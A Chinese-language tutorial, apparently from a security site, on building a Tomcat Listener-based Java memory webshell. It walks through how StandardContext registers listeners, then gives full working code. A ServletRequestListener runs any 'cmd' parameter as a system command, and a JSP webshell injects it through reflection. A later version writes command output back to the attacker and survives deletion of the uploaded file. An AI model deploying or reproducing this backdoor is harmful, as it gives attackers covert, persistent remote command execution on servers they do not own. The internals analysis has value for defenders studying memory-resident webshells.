现在到了内存马的最后一个listener了,整体再来介绍下Java Web三大组件,他们是构成Java Web应用的核心基础,包括:
1.Servlet
2.Filter(过滤器)
3.Listener(监听器)
Listener是Java Web中的事件监听器,它可以监听Web应用中的事件,并在事件发生时触发相应的处理。Listener主要用于监听三大域对象(ServletContext、HttpSession、ServletRequest)的生命周期和属性变化。所以其对应了三大主要的listener监听器:
按监听的对象划分:
ServletContext监听器:监听ServletContext(应用上下文)的创建和销毁,以及属性的增删改。
HttpSession监听器:监听HttpSession(用户会话)的创建、销毁、激活、钝化以及属性的增删改。
ServletRequest监听器:监听ServletRequest(请求)的创建和销毁,以及属性的增删改。
按监听的事件划分:
监听域对象的创建和销毁:
ServletContextListener:监听ServletContext的创建和销毁。适合在应用启动时进行一些初始化操作,但无法拦截请求。
HttpSessionListener:监听HttpSession的创建和销毁。可以监控用户会话,但无法直接拦截请求,只能在Session创建和销毁时执行代码。
ServletRequestListener:监听ServletRequest的创建和销毁。可以拦截每个请求,因此适合作为内存马。
监听域对象的属性变化如下:
ServletContextAttributeListener:监听ServletContext属性的增删改。
HttpSessionAttributeListener:监听HttpSession属性的增删改。
ServletRequestAttributeListener:监听ServletRequest属性的增删改。以上三个是在属性被添加、移除或替换时触发,不适合拦截所有请求,除非恶意代码依赖于属性变化。
监听HttpSession中对象的绑定和解绑(需要对象实现相应的接口)如下:
HttpSessionBindingListener:当对象被绑定到Session或从Session中解绑时,会触发该对象定义的事件。需要将对象存入Session,不适合作为通用内存马。
HttpSessionActivationListener:当Session被钝化(序列化到磁盘)或激活(从磁盘加载)时,会触发该对象定义的事件。与序列化相关,不适合拦截请求。
小结:这么多的listener,我们选择ServletRequestListener作为内存马的常用监听器,为什么首选这个主要是因为:ServletRequestListener可以监听每个请求的到来和结束,这样恶意代码在每个请求都会触发,因此可以拦截所有请求。交互性强:可以直接获取请求参数和操作响应,覆盖性广:拦截所有请求,不会漏掉攻击流量,灵活性强:支持复杂的命令执行和结果返回。
要定义一个自己的listener首先要实现对应的接口,并配置对应的web.xml、注解或编程方式注册。接着前面的内存马项目继续项目结构如下:
创建一个firstListener.java,代码如下:实现了ServletRequestListener 接口,并重写了对应的两个方法,一个请求,一个销毁。在requestInitialized请求方法中,从get请求获取一个cmd参数,并执行:
package com.ex; import javax.servlet.ServletRequest; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import java.io.IOException; public class firstListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { } @Override public void requestInitialized(ServletRequestEvent sre) { ServletRequest servletRequest = sre.getServletRequest(); String cmd = servletRequest.getParameter("cmd"); if (cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { throw new RuntimeException(e); } } } }
下一步配置web.xml让listener生效:只需要在该文件中加入一个listener标签,配置正确的全路径即可。
<listener> <listener-class>com.ex.firstListener</listener-class> </listener>
启动项目看看效果!当然可以执行命令,因为这是正常的listener运行的逻辑。那么listener内存马如何在应用运行中,加入恶意代码呢!listener加载过程分析
当发起request请求的时候,会调用我们的listener对象的requestInitialized方法,直接看谁调用了这个方法:
与前面的filter,和servlet一样又是在StandardContext下面的方法里面调用的!
而调用的这个对象listener来自instances。
而instances又是Object[] instances = getApplicationEventListeners();通过这个方法创建的。
看看这个方法做了什么:将applicationEventListenersList 集合转成了数组:
@Override public Object[] getApplicationEventListeners() { return applicationEventListenersList.toArray(); }
再次看这个集合 private final List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();是通过new直接创建的。其实是个空集合如下:
所以需要知道它的赋值过程,如何将listener加入到集合的:
还是当前类下的addApplicationEventListener方法中,有对其赋值,加入了一个listener对象。这里就完成了对这个List的赋值操作!并且参数就是一个listener对象。其实到这里基本可以确定StandardContext对象可以调用该方法进行赋值:
继续刨根问底,谁在调用这个赋值的方法,并且参数具体是什么。
在public <T extends EventListener> void addListener(T t) 这个方法中有这样的调用:context.addApplicationEventListener(t);熟悉的context调用。context就是StandardContext对象!如下图:
继续看addListener(T t) 怎又是谁调用:还是当前对象: public void addListener(Class<? extends EventListener> listenerClass) 这里参数是继承了EventListener的泛型对象。
而我们自己创建的firstListener实现了ServletRequestListener,而该接口继承了EventListener,满足作为形参的条件!!
继续往前看看谁调用这个方法:ApplicationContextFacade类中的 public void addListener(Class<? extends EventListener> listenerClass)方法在调用它:又出现了context:
而这个context就是ApplicationContext对象:所以它的调用其实就回到了前面的ApplicationContext 对象的addListener方法。
调用下一个addListener:如下图:
而ApplicationContext对象持有StandardContext context对象属性:
最终到达StandardContext对象的addApplicationEventListener()方法这里,listener在这里添加完成:
那么我们要完成恶意listener的注入,就需要往这个StandardContext对象的属性applicationEventListenersList中动态的添加自己构造的listener。
StandardContext对象的属性List<Object> applicationEventListenersList中可以存放任意数据类型的对象,而它通过转化成数组applicationEventListenersList.toArray()得到了Object[] instances数组,通过for (Object instance : instances)得到数组中的每一个元素,执行强转ServletRequestListener listener = (ServletRequestListener) instance;得到ServletRequestListener对象,最后执行listener.requestInitialized(event);进入自己写的代码逻辑中。核心只需要将我们自己的firstListener对象通过addApplicationEventListener()方法加入到applicationEventListenersList即可。
获取StandardContext对象,流程与前面的两个组件内存马一致:
同样假设通过文件上传的方式将jsp木马传至服务端:listenerShell.jsp代码如下:
<%@ page errorPage="/index.jsp" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.servlet.http.HttpServlet, java.io.IOException" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.ApplicationContextFacade" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <%@ page import="javax.servlet.http.HttpServletResponse" %> <%@ page import="javax.servlet.ServletException" %> <%@ page import="java.lang.reflect.*" %> <%@ page import="javax.servlet.*" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="org.apache.catalina.deploy.*" %> <%@ page import="org.apache.tomcat.util.descriptor.web.*" %> <%@ page import="javax.servlet.ServletRequest" %> <%@ page import="javax.servlet.ServletRequestEvent" %> <%@ page import="javax.servlet.ServletRequestListener" %> //上面导入相关的包 <%! //将前面的代码复制过来 public class firstListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { } @Override public void requestInitialized(ServletRequestEvent sre) { ServletRequest servletRequest = sre.getServletRequest(); String cmd = servletRequest.getParameter("cmd"); if (cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { throw new RuntimeException(e); } } } } %> <% try { // 通过request的方法,拿到当前的ApplicationContextFacade,getServletContext()方法返回的是ServletContext接口类型, //虽然返回的是ApplicationContextFacade实例, //也可以ApplicationContextFacade acf = (ApplicationContextFacade) request.getServletContext();--不建议 ServletContext acf = request.getServletContext(); // 通过反射获取第一层context属性,得到拿到当前的ApplicationContext Field contextField = acf.getClass().getDeclaredField("context"); contextField.setAccessible(true); // 设置可访问权限 ApplicationContext applicationContext = (ApplicationContext) contextField.get(acf); // 通过反射获取第二层的context属性,得到StandardContext对象 Field applicationContextField = applicationContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); // 设置可访问权限 StandardContext standardContext = (StandardContext) applicationContextField.get(applicationContext); standardContext.addApplicationEventListener(new firstListener());//直接新建一个firstListener对象作为参数给该方法 out.println("执行成功!"); } catch(Exception e) { e.printStackTrace(); } %>
代码中已添加注释:其实就一行关键代码,standardContext.addApplicationEventListener(new firstListener()); 添加一个listener对象到数组。其他代码同:一文读懂java内存马——Servlet篇 - FreeBuf网络安全行业门户
启动web应用,访问http://localhost:8080/Memory/listenerShell.jsp注入内存成功!
然后同样的任意页面get请求,参数cmd即可执行系统命令。同样弹出计算器,虽然页面不存在,但是命令执行成功!
那如果执行其他命令比如:ipconfig,发现无回显内容。因为系统的回显是response负责的,我们的方法里面没有对这块儿的处理:
既然有问题,就可以解决问题,现在需要页面返回命令执行的结果!但是在我们的重写方法中只有一个对象ServletRequestEvent sre!需要通过这个对象得到response对象!
现在来看下这个ServletRequest servletRequest = sre.getServletRequest();对象,发现里面有一个request属性--负责请求信息:
在这个request属性里面藏着一个response对象:
只要拿到这个response对象--负责返回信息,就可以向前端输出信息了:
而这个request是private的如下图:所以需要通过反射获取。关于反射可以看反射相关的内容:java反序列化基础——(反)序列化、反射 - FreeBuf网络安全行业门户
问题解决,直接上代码,惯例带上逐行注释,在前面的listenerShell.jsp代码基础上对firstListener 类里面的重写方法添加了代码:
<%@ page errorPage="/index.jsp" %>//指定错误页面 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.servlet.*, java.io.IOException" %> <%@ page import="org.apache.catalina.*" %> <%@ page import="org.apache.catalina.core.ApplicationContextFacade" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.lang.reflect.*" %> <%@ page import="javax.servlet.*" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="org.apache.catalina.deploy.*" %> <%@ page import="org.apache.tomcat.util.descriptor.web.*" %> //导入相关的包 <%! //自己的恶意listener类 public class firstListener implements ServletRequestListener { @Override//重写方法不重要 public void requestDestroyed(ServletRequestEvent sre) { } @Override//重写方法,核心内容 public void requestInitialized(ServletRequestEvent sre) { ServletRequest servletRequest = sre.getServletRequest();//获取ServletRequest对象 String cmd = servletRequest.getParameter("cmd");//request参数为cmd if (cmd != null){ Class<? extends ServletRequest> requestClass = servletRequest.getClass();//获取ServletRequest类对象 try { Field requestField = requestClass.getDeclaredField("request");//获取属性ServletRequest对象的request属性 requestField.setAccessible(true);//设置可访问属性 Object request = requestField.get(servletRequest);//得到request属性对象 Field responseField = request.getClass().getDeclaredField("response");//获取request对象的response属性 responseField.setAccessible(true); HttpServletResponse response = (HttpServletResponse)responseField.get(request);//强转得到response对象 // 设置响应头,以及输出格式 response.setContentType("text/html;charset=UTF-8"); response.setHeader("X-Powered-By", "Java"); PrintWriter out = response.getWriter(); out.println("<!DOCTYPE html>");//以下输出格式设置 out.println("<html>"); out.println("<meta charset='UTF-8'>"); out.println("<body>"); //执行系统命令 Runtime.getRuntime().exec(cmd); Process process = Runtime.getRuntime().exec(cmd); // 以下为读取命令执行结果代码 java.io.InputStream input = process.getInputStream();//获取输入流 java.util.Scanner scanner = new java.util.Scanner(input).useDelimiter("\\A");//将输入流scanner对象 String result = scanner.hasNext() ? scanner.next() : "";//逐行读取所有数据 response.getWriter().write(result); out.println("</body>"); out.println("</html>"); } catch (Exception e) { throw new RuntimeException(e); } } } } %> <% try { // 通过request的方法,拿到当前的ApplicationContextFacade,getServletContext()方法返回的是ServletContext接口类型, //虽然返回的是ApplicationContextFacade实例, //也可以ApplicationContextFacade acf = (ApplicationContextFacade) request.getServletContext();--不建议 ServletContext acf = request.getServletContext(); // 通过反射获取第一层context属性,得到拿到当前的ApplicationContext Field contextField = acf.getClass().getDeclaredField("context"); contextField.setAccessible(true); // 设置可访问权限 ApplicationContext applicationContext = (ApplicationContext) contextField.get(acf); // 通过反射获取第二层的context属性,得到StandardContext对象 Field applicationContextField = applicationContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); // 设置可访问权限 StandardContext standardContext = (StandardContext) applicationContextField.get(applicationContext); standardContext.addApplicationEventListener(new firstListener());//直接新建一个firstListener对象作为参数给该方法 out.println("执行成功!"); } catch(Exception e) { e.printStackTrace(); } %>
启动web应用!先http://localhost:8080/Memory/listenerShell.jsp访问jsp,注入内存:
然后执行命令:成功返回命令结果!
要回显信息这里就不能任意路径执行了,因为如果不存在的路径会找不到网站,返回结果会优先显示404页面。
现在可以删除上传的木马文件,然后任意存在的页面均可调用内存马执行命令!
与servlet,filter一样,listener也是通过StandardContext对象来管理的。StandardContext是Tomcat容器中表示一个Web应用的上下文对象,它包含了该应用的配置信息、组件(如Servlet、Filter、Listener)的定义和映射等,其作为组件注册的入口,是Web应用运行时的核心配置,所以通过它注册的组件会一直存在,直到应用重启。内存马攻击的本质,在于对StandardContext——这一TomcatWeb应用核心配置对象的掌控。作为三大组件的统一注册点,任何经StandardContext注册的组件都将常驻内存,从而为攻击者提供了持久化控制的能力。基于此,三种组件演化出不同攻击形态。三大组件各有优劣,攻击者会根据需求选择不同的组件注入内存马。Filter内存马是最常用的,因为其触发频率高且灵活;Servlet内存马适合作为专门的后门入口;Listener内存马则更隐蔽,适合做持久化驻留。